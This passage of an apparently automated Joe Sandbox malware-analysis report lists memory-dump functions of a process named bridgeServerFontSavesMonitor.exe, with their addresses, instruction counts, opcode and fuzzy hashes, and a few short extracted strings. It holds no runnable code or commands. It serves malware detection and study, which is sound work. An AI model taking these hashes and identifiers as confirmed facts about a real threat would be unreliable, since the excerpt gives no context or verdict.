Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ec0a83d04cfc53d7dd9c709957ba6b02c29a2621fd7f56c68108ce20f688e6
Instruction ID: d8596333c1a685fec9ffb6fa7e50f08d61640bf1850e19048f7cee50ab092388
Opcode Fuzzy Hash: a3ec0a83d04cfc53d7dd9c709957ba6b02c29a2621fd7f56c68108ce20f688e6
Instruction Fuzzy Hash: 55E04F2154F3C04FC70B973088B88403F60DE1721034A41EAC145CF2B3E9298C49C712

Function 00007FFD9BAD9619 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5586f2709923e3e63ab9e2416f827a0e6986343b6f8a25e9d607d7d1ee86f90d
Instruction ID: 764b4fe28e2f3e9e3f32a2090d98fc8db418f5b6347ceac4690ffa8c3dbcaa6d
Opcode Fuzzy Hash: 5586f2709923e3e63ab9e2416f827a0e6986343b6f8a25e9d607d7d1ee86f90d
Instruction Fuzzy Hash: B5E0173190A7884FC70A9B34C8A99813FB0EE2B21178B01C7D045CF5B3EA5D9D89CB52

Function 00007FFD9BAD8079 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7b24fd322f75d84d4e041a85961962df5f306c7f4bff496cdcead6ac31392b7
Instruction ID: 48debac365b98765a17233f4ab4c5745b4235a8121f8383cc6a63751153a8cf0
Opcode Fuzzy Hash: d7b24fd322f75d84d4e041a85961962df5f306c7f4bff496cdcead6ac31392b7
Instruction Fuzzy Hash: 57E04F2154F3C04FC70B973088788547F60DE6721038A40EEC145CF2B3E9298D49C702

Function 00007FFD9BADDC79 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f7afa59c7c3422e8d34bf0709c94a0c543fdb52c7ee398054baa0a0d49839b1
Instruction ID: c988147bbe31e2699244aa8aa82b063682caa8f0438433b21a54cb75430faaf4
Opcode Fuzzy Hash: 1f7afa59c7c3422e8d34bf0709c94a0c543fdb52c7ee398054baa0a0d49839b1
Instruction Fuzzy Hash: 20E0BF6154E7C44FC74B973588B88547F60DE6B21178A41EEC145CF6B3E6298949C712

Function 00007FFD9BAA6A11 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction ID: 592830685c710e191fb463840f7aeedee90a1c284bcab971093a6569cda1cf6c
Opcode Fuzzy Hash: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction Fuzzy Hash: C4E01220F0901E4BFBB4A794C8607B962A2AF99704F1640B4D80DD33E2DDB86F858755

Function 00007FFD9BAA5384 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction ID: bd3442ea4e735877b8db32a656f572c63090908754372b42d4afd2c019a513ff
Opcode Fuzzy Hash: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction Fuzzy Hash: 1DE0EC24F0A90E4FEEA4FBA480786B822C39F94710F0A40B4D40EC71B2DDA8A9014720

Function 00007FFD9BAC5482 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82c2b13536649c25170b14d7f89db60f473384acc32ce7d392df9d5bdd653a74
Instruction ID: 675399bea133c141571d710060e6d11646f65e915d5872b137331b473c7de563
Opcode Fuzzy Hash: 82c2b13536649c25170b14d7f89db60f473384acc32ce7d392df9d5bdd653a74
Instruction Fuzzy Hash: EEC0121275D81D0A7198A19C38621FC82C2D7C813571513F7E00CC228ADC0A598302C4

Function 00007FFD9BAD20F0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9BADBDE0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f89cb3f62b3182ca9adc3d9aed498fb5175fa03025083ebc1b10905a140eb21
Instruction ID: 4339d47ac68149d94b6e92adbd09f30198c9aee081fcd651f25a493664ab72a1
Opcode Fuzzy Hash: 9f89cb3f62b3182ca9adc3d9aed498fb5175fa03025083ebc1b10905a140eb21
Instruction Fuzzy Hash: A2D01234B919044FC71CA738885987473A1EBAA217BD551A9D00AC72B1D9AADD89C741

Function 00007FFD9BAD75B8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90708a79087e72b77d4e0fa24157253c780a8196c08309517985a8ca87fb076
Instruction ID: f1a3aac253044cf54433ac86247a951df864d955bb2f13edb0b8bce7e217b5a2
Opcode Fuzzy Hash: e90708a79087e72b77d4e0fa24157253c780a8196c08309517985a8ca87fb076
Instruction Fuzzy Hash: 4CD01234B519044FC71CB7388859C7473A1EBAA216B9545A9D00AC72B1D96ADD89C741

Function 00007FFD9BAA0835 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 410e05bf80eb868e35b7a61e13c3ebda97f337d5ee954246124ba18280ece236
Instruction ID: 4ca0cf5f36246c5a70c8128036d966815203504818490876a24fa534440c4671
Opcode Fuzzy Hash: 410e05bf80eb868e35b7a61e13c3ebda97f337d5ee954246124ba18280ece236
Instruction Fuzzy Hash: 98C01210B5740D51D43473AEEC664EDB741AF4811CF864171E40D84096DC491587C1AA

Function 00007FFD9BAA0B9D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction ID: 951c45c2a0a23ea344f7b847046ce02511c6079dafc3ae047fc3d06edc29c598
Opcode Fuzzy Hash: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction Fuzzy Hash: 27C0123062A80E8FDA90BB68C889824BBA0FB0E201BDA00E0E04CC71A1D65A98908700

Function 00007FFD9BAA06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction ID: 0268459102ce0c551be7b4bb65256f8e7f6a4332d8e466b57c9c7ba72adca42b
Opcode Fuzzy Hash: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction Fuzzy Hash: 57C01200F0B40E01E43133AA14620ACA2025BC4E18FD30032D00C800A198DD22C901AA

Function 00007FFD9BAA308E Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a380af7e924fd9ea9c489912805d20128229eef10771f8a3219d7f69da5e624
Instruction ID: ef7e314609c2c86b0026b4e4c6a400b77b6b5ab3502ba962519fd29775be73fe
Opcode Fuzzy Hash: 4a380af7e924fd9ea9c489912805d20128229eef10771f8a3219d7f69da5e624
Instruction Fuzzy Hash: FEC00214F2AD1E5BEAF8A7B480756FD11C36F45B00F460578D04EE36E2DDBC7A808AA5

Function 00007FFD9BAB7D6E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac167182980d6bb7719544e827bbe8c50cba53643e7d764df05c88bb05699b2a
Instruction ID: fa3c0f304aa39a95f9d292ac72c8feaef834e66786fcb1ba01bca49d30fd00f9
Opcode Fuzzy Hash: ac167182980d6bb7719544e827bbe8c50cba53643e7d764df05c88bb05699b2a
Instruction Fuzzy Hash: 11D0C930E09628CEEBA0DB68C851B5877B2FF48310F5002F6C01DE22CACB356D819F40

Function 00007FFD9BAA34BF Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8b391b1d605d60b120aabef3b4dead3810500b3bf232f64d55afb6e3688468
Instruction ID: 4d53dcf905e591c3a9d6d4e090dd44042764639509f5eb9ca4d9cd6f23299cd5
Opcode Fuzzy Hash: 3a8b391b1d605d60b120aabef3b4dead3810500b3bf232f64d55afb6e3688468
Instruction Fuzzy Hash: A7C04C01F1CC2A17E25966144C25A7E04535F54729FD901B4E41FC72DECD5D5E0206D6

Function 00007FFD9BAA06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction ID: 5d4eb65805904c88ee28bc93bcbdd05bedc58eeb57ca7ffbcbff11d570561cfa
Opcode Fuzzy Hash: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction Fuzzy Hash: DFB01200D5B44F01E43433FB089206874415B44204FC20070D40CC019198CD22D802A7

Function 00007FFD9BAB2C40 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1249c1b0514c7178be080b616e912f9abb5f72fd4ef16b669b0acf00b4ae93e6
Instruction ID: 8e4a554a8a868c483c7bc90b5ca82e478f5e8ff5e2530f32cd6f6945cdbe1566
Opcode Fuzzy Hash: 1249c1b0514c7178be080b616e912f9abb5f72fd4ef16b669b0acf00b4ae93e6
Instruction Fuzzy Hash: BEA00208D9780F11D81872FB1D9709474915FAA154FC61961E80980196FCCE17E943A3

Function 00007FFD9BADD5A0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d2018242a0126bf40494a73c7f59b4a5ac1d0e95081e02a01ac1a34b36981f
Instruction ID: ca252bbcc9c737bd95515a3503bf23c8f258f5e205a98fef31eae69f3472ac0f
Opcode Fuzzy Hash: c7d2018242a0126bf40494a73c7f59b4a5ac1d0e95081e02a01ac1a34b36981f
Instruction Fuzzy Hash: 55A00144D6682E01A91832BA0A965A534915A88296FC902A9A948892D7E88D52EA12A2

Function 00007FFD9BAA6A8C Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction ID: 8c43bb75ea278a86393614c8a78f3bb6d6f876162e107514682160d96059ff44
Opcode Fuzzy Hash: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction Fuzzy Hash: 4EB09201F0E12B56F1B003E4026927902D34F64784F0B0438E80CC61F2FDDDAE010066

Non-executed Functions

Function 00007FFD9BAA09B0 Relevance: 5.2, Strings: 4, Instructions: 195COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAA0B56
"s9, xrefs: 00007FFD9BAA0B46
#{9, xrefs: 00007FFD9BAA0B3E
!k9, xrefs: 00007FFD9BAA0B4E

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: cb88ab6d95ab85b49039db9082cebfb02cedc4d518de146a2e869499167111c5
Instruction ID: e1a95792946ef8f847ff6465fc7ab025d94a6d83d403f436d8d0e3fa9b867144
Opcode Fuzzy Hash: cb88ab6d95ab85b49039db9082cebfb02cedc4d518de146a2e869499167111c5
Instruction Fuzzy Hash: 2051BD17B0942745E339B3FD78219E96B449FA823FB0847B7F95E8D0C78C086486C2E9

Analysis Process: bridgeServerFontSavesMonitor.exePID: 7364, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAC0D48 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

5Y_H, xrefs: 00007FFD9BAC0DF3

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: a6408956d2b3e01635da5ccc2187ac92fd61d630a009c3fb138447bad701b18c
Instruction ID: 8275a662f36012fc20c8b9628a6f4621dde7938023171d19e4deae8699700a8c
Opcode Fuzzy Hash: a6408956d2b3e01635da5ccc2187ac92fd61d630a009c3fb138447bad701b18c
Instruction Fuzzy Hash: 2691E6B1A1AA8D4FE7999B6888757B9BFE1FF5A320F4502BED049C72E2DB741401C740

Function 00007FFD9BAF1441 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24557b7aa28c420c0cfaf0d4d9ffeab2bc94fd6c9f416888d9be36c408598472
Instruction ID: a3dd6c72aa180a5c3a5a4a3152ba562083e1a76e0f4b1248bb5776ae9da9db56
Opcode Fuzzy Hash: 24557b7aa28c420c0cfaf0d4d9ffeab2bc94fd6c9f416888d9be36c408598472
Instruction Fuzzy Hash: FBD19021B2E78D0BE32D4B684C920F53B91EBA2306B1986BDD5DBC7097D968A50783C1

Function 00007FFD9BAF1475 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a764c5e62d134ab750aebd527372de7f9a2934b3a6f6189f944106c42a80403
Instruction ID: 2ac02787602e7f9aa4ae3e0c8e6bda0b457b8a5193720311f449bed3da830161
Opcode Fuzzy Hash: 3a764c5e62d134ab750aebd527372de7f9a2934b3a6f6189f944106c42a80403
Instruction Fuzzy Hash: 2B81C171F2D34E0BE32C4A684C920B17BD5EBE6216B1A867DD9DBC3197DC68B90742C1

Function 00007FFD9BAFA7C9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAFA7E6

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: e50a372c66d73d6959bffac753331f53057a701bfd7f2146432d1e5f8e268a21
Instruction ID: 1756b7ed639bd5e73031c1d9ae49dbd7a484f93142dc853b1486fea5542a7c9d
Opcode Fuzzy Hash: e50a372c66d73d6959bffac753331f53057a701bfd7f2146432d1e5f8e268a21
Instruction Fuzzy Hash: 58E0656160F7C44FDB15AA3484698947F70EF6721174A52EEC045CB1A3EA1D9886C701

Function 00007FFD9BAFA739 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAFA756

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 1efa397fa057cd1a98d39ec1929409eca4709694baa5fd15f1f24b4f36f222a6
Instruction ID: dbfe1148f7c8508a008613384f7039a97ab8a1aed294f159a683bd8f5a2eda34
Opcode Fuzzy Hash: 1efa397fa057cd1a98d39ec1929409eca4709694baa5fd15f1f24b4f36f222a6
Instruction Fuzzy Hash: E9F0656160F7C44FDB16AB3488698547F70EF6720174A52EFC445CF1A3EA1D9885C711

Function 00007FFD9BAFAFB9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAFAFD6

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 4fdc5037d1a2ffd65cb09e0cabd99c4174b2f00b8cc0503b2845a88e5437da41
Instruction ID: 8a044a4d47703dffb4ca39fd4bb869024ee6461e978eeca7060392de76daab0e
Opcode Fuzzy Hash: 4fdc5037d1a2ffd65cb09e0cabd99c4174b2f00b8cc0503b2845a88e5437da41
Instruction Fuzzy Hash: 21E01AA154F7C44FCB16EB75887A9857FA0AE6721078B40EEC085CF1B3E62D8949C701

Function 00007FFD9BAF20D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAF20F6

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 4b94087cd1d380c1118e307e5decef35a618b8e6a1e81a5d2776b665a6c132bb
Instruction ID: 55fdb63b9008d460a4d9902cd6b10540827652113c681a0da6b0002013a1fde3
Opcode Fuzzy Hash: 4b94087cd1d380c1118e307e5decef35a618b8e6a1e81a5d2776b665a6c132bb
Instruction Fuzzy Hash: 62E01A6254F7C44FCB16EB74886A9447FA0EE6731078B40EEC089CF1B3E62D9849C701

Function 00007FFD9BAD0906 Relevance: .9, Instructions: 866COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db8d82aa4fd912582ab4b7ed5b1fe79fabc3275a32ae0ad90e8adfbf59dc8445
Instruction ID: 72e3761972c78c95f93e47f2d6a6e9056a5ddd80193cc26c807724c85f231aab
Opcode Fuzzy Hash: db8d82aa4fd912582ab4b7ed5b1fe79fabc3275a32ae0ad90e8adfbf59dc8445
Instruction Fuzzy Hash: E752D731B1991E4FEBA8EB5884A56B973D2FFA8310F0506B9D05EC32E6DE747D818740

Function 00007FFD9BAD15F8 Relevance: .7, Instructions: 719COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e81b1bfcf7e478eb143973275a724013d5ea7a144c378852985ae683a01627d
Instruction ID: e7bb64c530fc34bf9b66b5f7b3dd4997dd09b81b6ba2d3fa1d961cc03b9d322e
Opcode Fuzzy Hash: 2e81b1bfcf7e478eb143973275a724013d5ea7a144c378852985ae683a01627d
Instruction Fuzzy Hash: E732C631B1DA4E4BE768EB5884A16B973A2FFA8310F0546B9D05EC31E7DE34BD818741

Function 00007FFD9BAD0DC7 Relevance: .6, Instructions: 561COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c7038266e4d8dd090944d9964a832c3ef78c28c17f7a8cacb349f6f0e95793f
Instruction ID: de3c401ad67fb28885a94421b8549c89558ec3b0c5bfa39d4f7ac205e7824e2b
Opcode Fuzzy Hash: 0c7038266e4d8dd090944d9964a832c3ef78c28c17f7a8cacb349f6f0e95793f
Instruction Fuzzy Hash: 4802C231F1990E4FE768EB5884A5B7973A2EFA8310F050679D05EC72E6DE74BD428740

Function 00007FFD9BAD0FA9 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 986eb8eb2a9a1107e08e86afcd2e18d4da059628c3b85e5ffc5e34e7b9c587a3
Instruction ID: 1da18a21e91515a9e4a18135abce77df2806b6fefa97e7c085e0f0d32a760c63
Opcode Fuzzy Hash: 986eb8eb2a9a1107e08e86afcd2e18d4da059628c3b85e5ffc5e34e7b9c587a3
Instruction Fuzzy Hash: 69F1C331F1990E4FEB68EB5884A567973A2FFA8310F0506B9D05EC72E6DE74BD428740

Function 00007FFD9BAF377D Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f69b717ab4569d532b187879e9f8e1e573aab18c978c99c018d4f3fe25c8a00f
Instruction ID: 8833351ce4e6d2b30afbe48731314ef1fcd62e8f8338a237817051f7290d9fcd
Opcode Fuzzy Hash: f69b717ab4569d532b187879e9f8e1e573aab18c978c99c018d4f3fe25c8a00f
Instruction Fuzzy Hash: 4F910421B1DB4E0FEBACEB5884B66B977C2EF98360F444179E40EC72D7DD68A9454380

Function 00007FFD9BAE93D3 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28026de5bb953931f9b134d47ce84a6531ddbcf122b7c139be1ecd420cf0cfc4
Instruction ID: 030eea0837faa2b2ae1c7c5eda9979e943a475e4d0dc0d796f35db5de932f8eb
